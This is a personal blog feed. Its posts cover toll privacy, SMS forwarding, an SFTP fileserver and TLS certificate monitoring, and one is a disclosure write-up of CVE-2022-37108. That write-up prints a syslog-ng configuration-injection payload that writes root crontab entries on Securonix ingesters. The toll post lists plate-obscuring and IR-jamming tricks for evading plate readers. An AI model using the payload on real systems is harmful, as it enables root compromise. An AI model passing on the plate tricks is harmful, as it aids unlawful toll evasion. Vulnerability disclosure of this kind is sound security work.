Ditching E-ZPass for Increased Privacy and Cheaper Tolls2023-05-02T00:00:00+00:00https://conway.scot/ezpass<p>As a resident of the state of New York who likes to use the I-90 interstate on occasion, I was practically required to get an E-ZPass tag in 2021, when the I-90 switched exclusively to cash-less tolling. I have a number of privacy concerns with both E-ZPass and Automatic License Plate Recognition (ALPR) systems, so my decision to get one was not made lightly.</p>
<p>Privacy concerns around E-ZPass and ALPR systems are nothing new. Pukingmonkey has a great <a href="https://www.youtube.com/watch?v=T43Ti7c11lY">presentation</a> from DEFCON 21 (2013) on various forms of vehicle tracking. However, at the time of his presentation, you weren’t <em>forced</em> to have an E-ZPass to travel on the interstate. With cash-less tolling, NY offers you the option of either signing up with E-ZPass or getting your plate scanned by an ALPR system at each interstate plaza. If you elect for the ALPR option, you must <em>proactively</em> check for a bill on NY’s <a href="https://www.tollsbymailny.com/">Tolls by Mail</a> site. I’ve heard that they will also send bills by mail, but I’ve yet to go through that process. At this point, I figured that I’d try driving without my E-ZPass and check in to Tolls by Mail to see how frequently they’d successfully scan my plate. However, I found that if your license plate is signed up for E-ZPass, they bill you through E-ZPass <em>with the E-ZPass toll rate</em>. To repeat - if you are signed up for E-ZPass (in NY, at least) there is <em>no reason</em> to keep the E-ZPass transmitter in your car. By forcing the gates to use ALPR instead of the E-ZPass radio communciations, the door is opened for false negatives plate reads, which could potentially save you money. Besides that, some areas of NY like to use E-ZPass radio communications for non-tolling purposes, such as traffic monitoring. Being from “upstate” NY, I haven’t seen too many RFID scanners for E-ZPass outside of tolling, though perhaps I’m not looking closely enough.</p>
<p>For those really looking to save on tolls, below are some methods (both legal and otherwise) that may increase the failure rate of ALPR systems. Pukingmonkey goes over these in depth in his talk, but here’s a short list:</p>
<ul>
<li>Using a single plate instead of two</li>
<li>Exposing your plates to road salt</li>
<li>Vanity plates with alpha-numeric characters to the left of the plate number (eg. a large “S” for the University of Syracuse)</li>
<li>Physically obscuring plates</li>
<li>Active/passive IR jamming in front of plates</li>
</ul>
<p>I can’t speak about other states, but if you’re just driving in NY, there is no reason to carry an E-ZPass transmitter in your vehicle.</p>
Simple SMS Forwarding with Gotify / ntfy2023-02-23T00:00:00+00:00https://conway.scot/simple_sms_forwarding<p>tl;dr - Download <a href="https://f-droid.org/packages/tech.bogomolov.incomingsmsgateway/">this app</a> and configure a webhook for <a href="https://ntfy.sh/">ntfy</a> to <a href="https://docs.ntfy.sh/publish/#publish-as-json">publish as JSON</a>. Note that when using a public ntfy server, <em>your topic name is essentially a password</em>, and that you need to trust that the server admins aren’t reading your messages. Thus, I recommend self-hosting with authentication required, if possible.</p>
<p><br /></p>
<p>I travelled internationally a bit last year, and at one point in my journey, I attempted to access one of my domestic US bank accounts online. Oh, right, it only allows for 2FA via SMS message. <em>Of course</em>. My US SIM card was in my phone, halfway across the world from US cell service, so there was no way I was going to receive that SMS message. From this annoyance, I vowed to have <em>some</em> solution for the next time I went abroad (that didn’t involve switching to an international coverage plan).</p>
<p>When I travel abroad in the future, I plan to leave my SIM card in a cell-connected device that will be able to forward messages to me. I’ve looked at the following options:</p>
<ul>
<li>Android - dedicated SMS forwarding application</li>
<li>Android - <a href="https://f-droid.org/packages/ryey.easer/">Easer</a> (FOSS alternative to Tasker) with SMS forwarding script</li>
<li>Linux - <a href="https://playsms.org/">PlaySMS</a></li>
</ul>
<p>At first, I thought a dedicated SMS forwarding application for Android would be the best option. At the time, I couldn’t find a FOSS one that appeared to work with Android 10+. Gotta love the ever-changing APIs in Android. I briefly looked into writing my own, and realized that it simply wasn’t worth it when I could instead spend more time exploring alternatives.</p>
<p>It’d be nice if I didn’t need to mess with Android at all. I dabbled in PlaySMS’s docs for a short while, and realized the following:</p>
<ul>
<li>I don’t want to spend ~$50 on a 4G modem for an edge-case for something I rarely do</li>
<li>I don’t want to bother learning how to use the software to control said hardware</li>
</ul>
<p>Back to Android.</p>
<p>Easer exists, and it can <em>almost</em> do exactly what I want. In order to get message content from an incoming SMS message, you’ll need to use the “Receive SMS” event. When creating a script that uses this profile, you’ll need to link the “SMS Sender” and “SMS Content” dynamics to your desired profile. I prefer to use my self-hosted Gotify server, but nfty is another great notification service. In both examples, <code class="language-plaintext highlighter-rouge">msg_content</code> is unsanitized input coming straight from the SMS message body. In the case of ntfy, we can specify <code class="language-plaintext highlighter-rouge">text/plain</code> as the content type. Gotify, however, only accepts <code class="language-plaintext highlighter-rouge">application/json</code>, <code class="language-plaintext highlighter-rouge">application/x-www-form-urlencoded</code>, and <code class="language-plaintext highlighter-rouge">multipart/form-data</code>. Since Easer does not seem to support any sort of <a href="https://github.com/renyuneyun/Easer/issues/467">string post-processing on dynamics</a> (as of 2023-02), I can’t figure a good way to forward text messages to Gotify. All of those content-types have control characters that could be sent in the SMS message body.</p>
<p><img src="/assets/images/simple-sms-forwarding/easer_gotify.png" alt="Easer config for Gotify" width="50%" /><img src="/assets/images/simple-sms-forwarding/easer_ntfy.png" alt="Easer config for nfty" width="50%" /></p>
<p>Besides the issue of dealing with unsanitized input, Easer has a few other problems in this configuration:</p>
<ul>
<li>When splitting a message into 160 character chunks, Easer only alerts on the first chunk</li>
<li>If two or more messages are sent in quick succession, only the first will be alerted on (similar to the chunking issue)</li>
<li>If a message has multiple chunks, the first message that Easer alerts on will be trimmed to the first 153 characters</li>
<li>Easer does not address MMS messaging (perhaps only for media?)</li>
</ul>
<p>With all of these deficiencies, I started looking for a dedicated app, yet again. This time, I came upon <a href="https://f-droid.org/packages/tech.bogomolov.incomingsmsgateway/">SMS to URL Forwarder</a>. The interface is super simplistic, and only allows for the creation of JSON-based POST requests. And that’s it. After configuring it, <em>it just works</em>. It even re-joins split SMS messages so they only generate a single notification.</p>
<p><img src="/assets/images/simple-sms-forwarding/sms_forwarder_config.png" alt="Simple SMS Forwarder config" width="50%" class="center" /></p>
<p>In addition to an SMS forwarding service, I’ve set up an always-on VNC server on my designated “always-at-home” cell phone for international travel. I chose to use <a href="https://f-droid.org/packages/net.christianbeier.droidvnc_ng/">droidVNC-NG</a> on a phone running LineageOS 16, based on Android 9. <em>Why such an old version of Android?</em> In order to make my VNC server foolproof (and not require root), it needs to be able to auto-start at boot. Android 10 changed the screen recording permission so that you cannot grant an application the permission forever - you must enable it each time the application starts to record the screen. This wouldn’t play well with a power cycle, so I chose to go with a more permissive version of Android. Of course, the VNC service requires authentication, and sits behind a network jump-box that supports actual authentication standards.</p>
<p>There’s one annoyance with leaving your SIM card in a dedicated phone at home - you won’t have cell service when you’re travelling to/from your point of egress in your home country. I can see that being a bit of an annoyance. Simple solution - throwaway SIM cards! Give amazon or your preferred e-commerce site a query for “trial SIM card” or similar. As of 2023-02, a few mobile providers offer SIM cards with domestic US service in the range of $1-$10. They have minimal calling/texting/data plans and they only provide service for a week or so. However, $2 for service to and from the point of egress sounds worth it to me. Specifically, I’d recommend Mint Mobile’s trial SIM cards - the setup process isn’t too annoying. At some point, I may even automate it! These cards are also great for signing up for services that require phone numbers, as they’re <em>real</em> instead of VoIP numbers. I’ve never had an issue using one for sign-ups thus far.</p>
A Tour of My Overcomplicated Fileserver2023-02-06T00:00:00+00:00https://conway.scot/a_tour_of_my_overcomplicated_fileserver<p>A friend of mine is in the process of building their first NAS. It’s a beautiful thing, really. In heated discussions about system requirements and configurable options, I recalled my foray into my first (and current) hosted file server from many years ago. I made some <em>unique</em> design decisions that I think are worth sharing, if for nothing more than your amusement.</p>
<p>My goals for this fileserver were simple (at least I thought so). I wanted to be able to manage all files hosted on the NAS, administer access for users, and allow those users limited access to the file server, while still being able to upload and download files, according to their group membership. Additionally, I wanted the process to be “user-friendly” - to some degree, at least.</p>
<p>Well, SFTP exists. It’d be great if my users could use keyfiles, but I will sadly acknowledge that as not “user friendly” for most people. I don’t like the idea of opening up password auth for all users, so I can specify <code class="language-plaintext highlighter-rouge">PasswordAuthentication</code> <em>specifically</em> for the <code class="language-plaintext highlighter-rouge">sftp_users</code> group, which doesn’t even need to have SSH access. Since these users are <em>only</em> using SFTP, we can disable a bunch of forwarding/TTY related options. The users shouldn’t be able to access anything outside of the NAS, so we can set <code class="language-plaintext highlighter-rouge">ChrootDirectory</code>. Here’s what we have so far in <code class="language-plaintext highlighter-rouge">/etc/ssh/sshd_config</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>...
Subsystem sftp internal-sftp
# SFTP accounts for nas
Match Group sftp_user
ChrootDirectory /mnt/nas
ForceCommand internal-sftp -d /
X11Forwarding no
AllowAgentForwarding no
AllowTcpForwarding no
PermitTTY no
PermitTunnel no
GatewayPorts no
PasswordAuthentication yes
</code></pre></div></div>
<p>I don’t want these users deleting files, so I specified the exact SFTP requests that members of <code class="language-plaintext highlighter-rouge">sftp_users</code> are able to execute.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ForceCommand internal-sftp -d / -p open,close,read,write,realpath,opendir,readdir,mkdir,readlink
</code></pre></div></div>
<p>However, a “destructive write” is essentially the same thing as deletion. How can we allow users to upload files, but not overwrite them? Don’t worry, we’ll get there.</p>
<p>Right after I made this change, I started having issues using the command-line program <code class="language-plaintext highlighter-rouge">sftp</code>. FileZilla continued to work just fine. From the man page of <code class="language-plaintext highlighter-rouge">sftp-server</code>, here’s what the <code class="language-plaintext highlighter-rouge">-p</code> flag does.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-p allowed_requests
Specifies a comma-separated list of SFTP protocol requests that
are permitted by the server. All request types that are not on
the allowed list will be logged and replied to with a failure
message.
Care must be taken when using this feature to ensure that re‐
quests made implicitly by SFTP clients are permitted.
</code></pre></div></div>
<p>Well, I didn’t read that last part when I started out. <code class="language-plaintext highlighter-rouge">sftp</code> had issues accessing my server until I added <code class="language-plaintext highlighter-rouge">stat</code> to the list of permitted requests.</p>
<p>At first, I loved the idea of allowing my users to add data to my NAS in a categorized fashion, but I quickly learned that many of my users <em>did not</em> care about organization as much as myself. A sysadmin friend of mine recommended an <code class="language-plaintext highlighter-rouge">incoming</code> directory, for which all users would have write access. From there, an admin would have to triage the uploaded data. When a user logs in, they should be able to see the NAS and the incoming directories. The former should be read-only, and the latter writable, but somehow disallow for “destructive” writes. Both of these can be achieved with <code class="language-plaintext highlighter-rouge">bindfs</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># read-only NAS
bindfs -u root -g root -p u=rwD,g=rD,dg=rD,o=rD /mnt/nas/share/ /nas_chroot/share
# writable but root-owned incoming directory
bindfs u root -g root -p u=rwxD,do=rwxD,fo=r /mnt/nas/incoming/ /nas_chroot/incoming
</code></pre></div></div>
<p>Of course, we’ll need to adjust the <code class="language-plaintext highlighter-rouge">ChrootDirectory</code> for <code class="language-plaintext highlighter-rouge">sftp_users</code> to <code class="language-plaintext highlighter-rouge">/nas_chroot</code>.</p>
<p>What’s neat about this setup is that when a user goes to write to the <code class="language-plaintext highlighter-rouge">incoming</code> directory, their write will succeed. However, when they list the contents of the directory, suddenly the uploaded file is no longer owned by the uploader! Permissions are retained on the actual filesystem, but are obfuscated in the bindfs mount. After uploading a file, the uploader can no longer modify the file they uploaded. This method has one issue, and that’s if an uploader’s connection fails while uploading a file, it’ll be stuck in an botched and immutable state. So the uploader would need to change the file name or upload path.</p>
<p>Now we have a somewhat-usable fileserver that allows peasants users to upload to an effectively immutable limited filesystem, and browse a read-only section of the NAS. However, I never mentioned how I manage users. I won’t get <em>too</em> into detail, but suffice it to say that I create LDAP accounts in an automated fashion by allowing users to register their own credentials at a non-published URL. The user must provide a TOTP code from a secret I control in order to register. Once successful, an account is created for them on the LDAP server. Thus, when I want to onboard someone, I communicate the registration link and provide them a TOTP token when they’re ready to join.</p>
<p>And that’s about it. It’s an SFTP server using bindfs to limit what users can access, with an onboarding flow through LDAP. It’s nothing impressive, but I had an interesting time building it and coming across the aforementioned issues.</p>
Proactively Monitoring TLS Certificate Deployment2022-09-15T00:00:00+00:00https://conway.scot/proactively_monitoring_tls_certificte_deployment<h3 id="2022-09-15-update">2022-09-15 Update</h3>
<p>This is a copy of my article from <a href="https://datto.engineering/post/proactively-monitoring-tls-certificate-deployment">Datto’s engineering blog</a>, originally published on 2021-09-13. As of the present, the server responds with an HTTP 502. The original text can be found on the <a href="https://web.archive.org/web/20220525092803/https://datto.engineering/post/proactively-monitoring-tls-certificate-deployment">Internet Archive</a>.</p>
<p><br /></p>
<p>Unless you’re using the <a href="https://web.archive.org/web/20220525092803/https://en.wikipedia.org/wiki/Automated_Certificate_Management_Environment">ACME</a> protocol with a certificate authority such as Let’s Encrypt, you’re probably well aware of the annoyance of certificate rotation. Here at Datto, we use certificates in many places with a validity period of around a year, depending on the <a href="https://web.archive.org/web/20220525092803/https://en.wikipedia.org/wiki/Certificate_authority">Certificate Authority</a>. Last February, we noticed that several production hosts were providing expired certificates for one of our major Internet-facing domains - a mistake that <a href="https://web.archive.org/web/20220525092803/https://www.bleepingcomputer.com/news/google/recent-google-voice-outage-caused-by-expired-certificates/">many</a> <a href="https://web.archive.org/web/20220525092803/https://techcrunch.com/2020/02/03/microsoft-teams-has-been-down-this-morning/">other</a> <a href="https://web.archive.org/web/20220525092803/https://www.theverge.com/2020/8/19/21375032/spotify-down-songs-loading-issues-outage">companies</a> suffer from, as well. This caused several problems, and it was decided that after the issues were addressed, we needed to take a very proactive stance in monitoring certificates for all of our TLS-enabled services. I will not dive into the details about why the certificates weren’t properly rotated, but rather, what we’re doing from now on so this sort of issue never occurs again.</p>
<p>If you search something along the lines of “https certificate monitor” with your Internet search engine of choice, you’ll be met with no shortage of results. However, for all of the results that I evaluated, they all had one thing in common - the user needed to provide a static list of fully qualified domain names to be checked. Being a company that is constantly in flux (and adding new domain names to our DNS zones), I’m not sure how this method would succeed, unless the service was manually updated whenever a new domain name is added.</p>
<p>Even discounting the use of static lists, external certificate monitoring services may have other issues. For one, external services won’t have visibility into private networks. Secondly, if your network has load balancers that don’t terminate TLS sessions, any unaware scanner will most likely trust the first answer of the load balancer.</p>
<h2 id="finding-a-source-of-truth">Finding a Source of Truth</h2>
<p>With the above in mind, I wanted to derive a perfect mapping of IP -> hostname(s) information for all subdomains of a given company-managed domain. <em>The solution? Ask your local DNS server.</em></p>
<p>Given the above problems, I set out to make my own solution. It would have to perform the following tasks:</p>
<ul>
<li>Discover all DNS zones that we serve</li>
<li>Fetch all DNS records for each discovered zone</li>
<li>Resolve all CNAME records to IP addresses</li>
<li>For each fully qualified domain name that resolves to a given IP address (through any A or CNAME records), initialize a TLS session on each user-specified port and check whether or not the served certificate is valid</li>
</ul>
<p>My implementation of this process does the above by taking in a list of DNS zone names and their authoritative nameservers. From there, it requests <a href="https://web.archive.org/web/20220525092803/https://en.wikipedia.org/wiki/AXFR">zone transfers</a> (AXFRs) from each authoritative nameserver, according to a local configuration file. Note that the host running this tool must be approved to request zone transfers from each nameserver (unless using output of a previous zone transfer in JSON format). <em>This privilege should not be taken lightly.</em> Although zone transfers are extremely useful in this context, they’re also a fantastic resource for any attackers that can communicate with the DNS server. Be vigilant in your DNS server configuration, and <a href="https://web.archive.org/web/20220525092803/https://docs.microsoft.com/en-us/services-hub/health/remediation-steps-ad/configure-all-dns-zones-only-to-allow-zone-transfers-to-specified-ip-addresses">keep a lean list of hosts approved to request zone transfers</a>.</p>
<h2 id="evaluating-tls-certificates">Evaluating TLS Certificates</h2>
<p>With an export of all DNS records from zone transfers, we’re now ready to start checking TLS certificates. The project is written in Python, so I started to evaluate all of my options on how to validate certificates. Many of the SSL libraries that I investigated over didn’t seem to tell me why a given certificate chain was invalid, or which certificate in the chain was found to be invalid (if applicable). For example, Python’s ssl library simply raises <a href="https://web.archive.org/web/20220525092803/https://docs.python.org/3/library/ssl.html#ssl.SSLError">SSLErrors</a>, and the included reason is typically not very useful.</p>
<p>There’s also <a href="https://web.archive.org/web/20220525092803/https://www.pyopenssl.org/">pyOpenSSL</a>, which seems to be of use when you want to validate a single certificate or have the entire certificate chain on hand. I was looking for a more turn-key approach. In a perfect world, the library I was searching for would tell me exactly why the certificate chain was found to be invalid, with little effort on my part.</p>
<p>As I searched for more libraries, I came across <a href="https://web.archive.org/web/20220525092803/https://nabla-c0d3.github.io/sslyze/documentation/">SSLyze</a>. Not only can this library evaluate whole TLS certificate chains and give you verbose error messages about certificate errors, but it also has a <a href="https://web.archive.org/web/20220525092803/https://github.com/nabla-c0d3/sslyze/tree/release/sslyze/plugins">plethora of plugins</a>. Of particular note to us is the CERTIFICATE_INFO ScanCommand, which provides detailed information about the host’s certificate chain. Here’s the output of using this ScanCommand on an HTTPS server, via SSLyze’s command-line interface:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sslyze 'datto.com:443' --certinfo
CHECKING HOST(S) AVAILABILITY
-----------------------------
datto.com:443 => 184.50.211.211
SCAN RESULTS FOR DATTO.COM:443 - 184.50.211.211
-----------------------------------------------
* Certificates Information:
Hostname sent for SNI: datto.com
Number of certificates detected: 1
Certificate #0 ( _RSAPublicKey )
SHA1 Fingerprint: 670582095c617956e986e330785ae85f164d60e8
Common Name: *.datto.com
Issuer: DigiCert SHA2 Secure Server CA
Serial Number: 17247695375665899256019678832627664436
Not Before: 2021-05-05
Not After: 2022-05-10
Public Key Algorithm: _RSAPublicKey
Signature Algorithm: sha256
Key Size: 2048
Exponent: 65537
DNS Subject Alternative Names: ['*.datto.com', 'datto.com']
Certificate #0 - Trust
Hostname Validation: OK - Certificate matches server hostname
Android CA Store (9.0.0_r9): OK - Certificate is trusted
Apple CA Store (iOS 14, iPadOS 14, macOS 11, watchOS 7, and tvOS 14):OK - Certificate is trusted
Java CA Store (jdk-13.0.2): OK - Certificate is trusted
Mozilla CA Store (2021-01-24): OK - Certificate is trusted
Windows CA Store (2021-02-08): OK - Certificate is trusted
Symantec 2018 Deprecation: OK - Not a Symantec-issued certificate
Received Chain: *.datto.com --> DigiCert SHA2 Secure Server CA
Verified Chain: *.datto.com --> DigiCert SHA2 Secure Server CA --> DigiCert Global Root CA
Received Chain Contains Anchor: OK - Anchor certificate not sent
Received Chain Order: OK - Order is valid
Verified Chain contains SHA1: OK - No SHA1-signed certificate in the verified certificate chain
Certificate #0 - Extensions
OCSP Must-Staple: NOT SUPPORTED - Extension not found
Certificate Transparency: OK - 3 SCTs included
Certificate #0 - OCSP Stapling
OCSP Response Status: SUCCESSFUL
Validation w/ Mozilla Store: OK - Response is trusted
Responder Key Hash: b'\x0f\x80a\x1c\x821a\xd5/(\xe7\x8dF8\xb4,\xe1\xc6\xd9\xe2'
Cert Status: GOOD
Cert Serial Number: 17247695375665899256019678832627664436
This Update: 2021-09-05
Next Update: 2021-09-12
SCAN COMPLETED IN 0.46 S
------------------------
</code></pre></div></div>
<p>Of note, the CERTIFICATE_INFO ScanCommand checks the certificate chain against multiple trust stores, instead of just using the host’s built-in trust store. This information may be useful in the fringe case that a given trust store distrusts one of our certificates, but another does not.</p>
<h2 id="putting-it-all-together">Putting it All Together</h2>
<p>As mentioned above, I wanted my program to start by collecting information from DNS zone transfers, and end by checking TLS certificates for all identified hosts, for each mapped IP address (be it through A or CNAME record). <a href="https://web.archive.org/web/20220525092803/https://github.com/datto/dns-cert-checker">DNS Certificate Checker</a> does just this.</p>
<p>In this execution, the program takes in a DNS zone transfer JSON and checks all of the corresponding TLS services as defined in the local configuration file. Of course, the program can run without a local zone transfer JSON, and get the AXFR results at run-time, but my machine doesn’t have privileges to make AXFR queries to the DNS servers in question, so I’m using results from a previous zone transfer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3.8 dns_cert_checker.py --from-zones-json datto.com.json -o out.csv
</code></pre></div></div>
<p>The output file, called out.csv in this execution, will contain one row for each warning or error, as (predominantly) determined by SSLyze. If the certificate is valid but within a configured time to expiration, a warning is raised. Else, if SSLyze raises an exception or otherwise labels the certificate as invalid, a detailed error is raised. These findings can be seen in either the log output or the output CSV in this format:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+------------+------+------------+---------+--------------------------------------------------+
| ip_address | port | fqdn | status | message |
+------------+------+------------+---------+--------------------------------------------------+
| [REDACTED] | 443 | [REDACTED] | warning | "certificate "[REDACTED]" expiring at [REDACTED]" |
| [REDACTED] | 443 | [REDACTED] | error | subject does not match hostname |
| [REDACTED] | 443 | [REDACTED] | error | unable to get local issuer certificate |
| [REDACTED] | 443 | [REDACTED] | error | certificate has expired |
| [REDACTED] | 443 | [REDACTED] | error | certificate chain does not have valid order |
| [REDACTED] | 443 | [REDACTED] | error | self signed certificate |
| [REDACTED] | 443 | [REDACTED] | error | BUG_IN_SSLYZE |
+------------+-----+------------+---------+---------------------------------------------------+
</code></pre></div></div>
<h2 id="shortcomings">Shortcomings</h2>
<p>DNS is a great source of truth, but it does not know everything about the hosts to which it points. For example, hosts with wildcard records may serve any number of certificates depending on which hostname they’re using for a given connection. My program doesn’t identify wildcards, and instead checks the <code class="language-plaintext highlighter-rouge">*</code> subdomain as if it were the sole valid name for the record. Conversely, if you truly wanted to evaluate the certificate practices for a host with a wildcard record, you’d need to check every possible hostname for the wildcard record.</p>
<p>Your DNS zones may have A or CNAME records that point to hosts that are outside of your control. This tool will provide expiration warnings and certificate errors for such hosts, as it has no idea which records are truly owned by the organization.
Conclusion</p>
<p>At this point, the program is only used for evaluating certificates for standing errors, proximity to expiration, and lack of trust from a given trust store. However, there’s no reason that it can’t be expanded to process findings from other SSLyze plugins, such as <a href="https://web.archive.org/web/20220525092803/https://github.com/nabla-c0d3/sslyze/tree/release/sslyze/plugins/openssl_cipher_suites">checking supported cipher suites</a> against a user-configurable list of acceptable options. If desired, SSLyze can even check for SSL/TLS vulnerabilities such as <a href="https://web.archive.org/web/20220525092803/https://github.com/nabla-c0d3/sslyze/blob/release/sslyze/plugins/heartbleed_plugin.py">HeartBleed</a> and <a href="https://web.archive.org/web/20220525092803/https://github.com/nabla-c0d3/sslyze/blob/release/sslyze/plugins/robot/implementation.py">ROBOT</a>.</p>
<p>By outputting findings to both a python logger and (if specified), a CSV, findings from DNS Certificate Checker can easily be sent to human-alerting mechanisms, which will make it far easier to take actions on certificates that are misconfigured or close to expiring.</p>
<p>My primary finding from this exercise is that looking for the right library or program to fulfill your task should demand far more time than writing a solution for it. SSLyze is a fantastic library, and if I hadn’t found it, I’d likely have spent far too long pursuing worse solutions.</p>
<p>If you’re interested in using this for your own organization, you can find the source code for DNS Certificate Checker <a href="https://github.com/datto/dns-cert-checker">at our GitHub project</a>.</p>
Remote Code Execution in Securonix Snypr (CVE-2022-37108)2022-08-29T00:00:00+00:00https://conway.scot/securonix_rce<p>Over the course of the last six months or so, I’ve had the distinct pleasure of working with Securonix Snypr, an on-prem or cloud-hosted SIEM solution. I find SIEMs to be fairly boring, so after some time acting as a system administrator for the platform, I started pentesting it - and it didn’t take long to find some issues. In this post, I’ll discuss a remote code execution vulnerability that I found in the console’s syslog-ng configuration settings. But first, a brief overview on how Securonix functions in a typical cloud-hosted environment.</p>
<h2 id="remote-ingesters-rins">Remote Ingesters (RINs)</h2>
<p>RINs are hosts that are tasked with retrieving logs and shipping them to the cloud-hosted (or on-prem) application back-end for collection and processing. They may be controlled by the customer or Securonix. For example, the deployment I used had an on-prem RIN for local network log collection, and a Securonix-managed cloud RIN for capturing logs from Internet-facing cloud services. RINs can collect logs through syslog-ng, custom collectors written by Securonix, or by any user-created method that populates files on the RIN’s disk.</p>
<h2 id="the-console">The Console</h2>
<p>This is the web application that you log into to manage the application. Once properly paired, the console will have root access to all RINs for the purposes of managing their syslog-ng configurations, and more. I’m sure that won’t cause any issues.</p>
<h1 id="the-vulnerability">The Vulnerability</h1>
<p>In the Securonix console, any user with the “Manage Ingesters” permission is allowed to define syslog-ng source statements for any RIN under Administration -> Settings -> Manage Ingesters. The “Create/Edit Source” action for each RIN allows the user to enter pre-formatted text directly into the RIN’s syslog-ng configuration file. That’s right - it’s not a wizard, it just copies text into the file. When I say “pre-formatted”, I simply mean that the user separates the name and expression for the syslog-ng source. When submitting a name and expression, the console will simply put the raw text after a “source” statement.</p>
<p>eg. from the following input:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Source name: TCP_514
Source expression: {tcp(port(514));};
</code></pre></div></div>
<p>you get this output in your syslog-ng configuration file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Source TCP_514 {tcp(port(514));};
</code></pre></div></div>
<p>Ok, simple enough. But what else can you do in syslog-ng configurations? To log something with syslog-ng, you need to define a source and destination, and join the two with a log statement. Securonix typically takes care of setting up destination and log statements, but we can write our own in the source expression field since we’re just entering arbitrary text, after all.</p>
<p>There are quite a lot of options for <a href="https://www.syslog-ng.com/technical-documents/doc/syslog-ng-open-source-edition/3.16/administration-guide/16#TOPIC-956446">source</a> and <a href="https://www.syslog-ng.com/technical-documents/doc/syslog-ng-open-source-edition/3.16/administration-guide/27#TOPIC-956486">destination</a> statements. To get RCE, we’re simply concerned with putting arbitrary text <em>somewhere</em> on disk. For a source statement, you can pick whatever you want as long as it’ll be appended to at some point, so that syslog-ng will log to the destination. For example, <code class="language-plaintext highlighter-rouge">file("/var/log/syslog")</code> would likely be a fine source to use here. For the destination, we want to write attacker-controlled text to <em>some</em> file. To define the attacker-controlled text, we can simply write a string in the destination with the <code class="language-plaintext highlighter-rouge">template</code> function. eg. <code class="language-plaintext highlighter-rouge">file("/path/to/out_file" template("\narbitrary text\n")</code>. While we’re here, we can override whatever options Securonix sets by default for file ownership, just so we don’t mess with the output file’s pre-existing permissions (if we’re appending to an existing file). Here’s what we have so far:</p>
<p><code class="language-plaintext highlighter-rouge">{file("/var/log/syslog");}; destination test_dest {file("/path/to/out_file" template("\narbitrary text\n"));}; options { owner("root"); group("root"); perm(0600);};</code></p>
<p>Now, how can we get from arbitrary text to executable code? You could append to a user’s .bashrc or .profile, but there are a number of considerations here. First, you don’t know <em>when</em> the user will log in, if ever. Second, the shell script you’re appending to (provided it exists) may have an exit (or similar) statement above it, causing appended lines to never be executed. However, since syslog-ng runs as root, we have access to all users’ crontab files. A simple destination of <code class="language-plaintext highlighter-rouge">file("/var/spool/cron/root" template("\n* * * * * arbitrary code\n"))</code> will do the trick quite nicely. This destination should get the quickest results, but since we can append to any file, options for arbitrary code execution are endless. If you really wanted to, you could even write to <code class="language-plaintext highlighter-rouge">rc.local</code>, and then force a reboot by writing to <code class="language-plaintext highlighter-rouge">/proc/sys/kernel/sysrq</code> and <code class="language-plaintext highlighter-rouge">/proc/sysrq-trigger</code>.</p>
<h2 id="demo">Demo</h2>
<p>In this demo, I specify a non-existent file (<code class="language-plaintext highlighter-rouge">/source.log</code>) in the source statement simply to control the timing of the output being written. You could easily select a high-traffic system log, such as <code class="language-plaintext highlighter-rouge">/var/log/syslog</code>, but I only wanted to get <em>one</em> instance of my arbitrary code to the output. Each new line in the source file will output the templated text to the destination file, which could get quite annoying.</p>
<p>In case you’re curious, this is the source expression used in the demo:</p>
<p><code class="language-plaintext highlighter-rouge">{file("/source.log");}; destination test_dest {file("/var/spool/cron/root" template("\n#* * * * * arbitrary code\n"));}; log {source(vuln_test); destination (test_dest);}; options { owner("root"); group("root"); perm(0600);};</code></p>
<video width="100%" height="auto" controls="" preload="none"> <source src="/assets/videos/securonix-rce/rin_rce_demo.mp4" type="video/mp4" />Your browser does not support the video tag.</video>
<h1 id="potential-impact">Potential Impact</h1>
<p>When exploited, this vulnerability allows an attacker with the “Manage Ingesters” permission on a Securonix instance to execute arbitrary code as root on all RINs paired to the instance’s console. As noted above, Securonix typically grants access to cloud-hosted RINs in cloud deployments. With this in mind, an attacker could possibly gain a foothold in Securonix’ cloud environment. The same is true for on-prem RINs.</p>
<h1 id="the-patch">The Patch</h1>
<p>As noted in the below timeline, this vulnerability was patched by Securonix sometime before July 2022, and at the latest in SNYPR version 6.4 Jun 2022 R3_[06170871]. Their patch notes don’t identify this fix, which is odd, since they seemed alright with me publishing a CVE about the vulnerability. Although I was consulted during the patching effort, I’m not privy to the “solution”. Yet, when attempting to use a malicious expression, the console UI simply states “complex source expressions are not allowed” and does not save the attempted source expression to the RIN. This may interfere with legitimate source expressions, as I can definitely see power-users doing a <em>lot</em> in source statements.</p>
<h1 id="closing">Closing</h1>
<p>I must clarify that this vulnerability does not allow for RCE on the console itself, as you cannot write syslog-ng configuration rules for the console.</p>
<h1 id="disclosure-timeline">Disclosure Timeline</h1>
<ul>
<li>2022-04-14 Disclosure sent to Securonix</li>
<li>2022-06-??: Patched Snypr version (specific version unknown) released</li>
<li>2022-07-25: Applied for CVE-2022-37108</li>
<li>2022-08-29: Vulnerability made public</li>
</ul>
<h2 id="references">References</h2>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-37108">https://nvd.nist.gov/vuln/detail/CVE-2022-37108</a></p>
Reverse Engineering ShopGoodwill for Fun and Profit2022-04-03T00:00:00+00:00https://conway.scot/shopgoodwill_reversing<p>I’ve recently re-discovered the sheer amount of great stuff that can be found both in physical thrift stores and on <a href="https://shopgoodwill.com/">ShopGoodwill</a>. If you’re unfamiliar, it’s Goodwill’s online auction platform. Like most Internet services that I interact with, I’d love to use it in an automated fashion, but they don’t make their API documentation public. That’s no matter at all, but reversing some webapp wouldn’t be a good enough topic for me to blog about. Instead, I’m going to talk about the <em>weird</em> stuff that goes on interfacing with ShopGoodwill’s site.</p>
<p>That said - the scripts that I’ve written for interacting with ShopGoodwill can be found <a href="https://github.com/scottmconway/shopgoodwill-scripts">here</a>, if you’re interested in getting cron-scheduled query digest updates or bid sniping.</p>
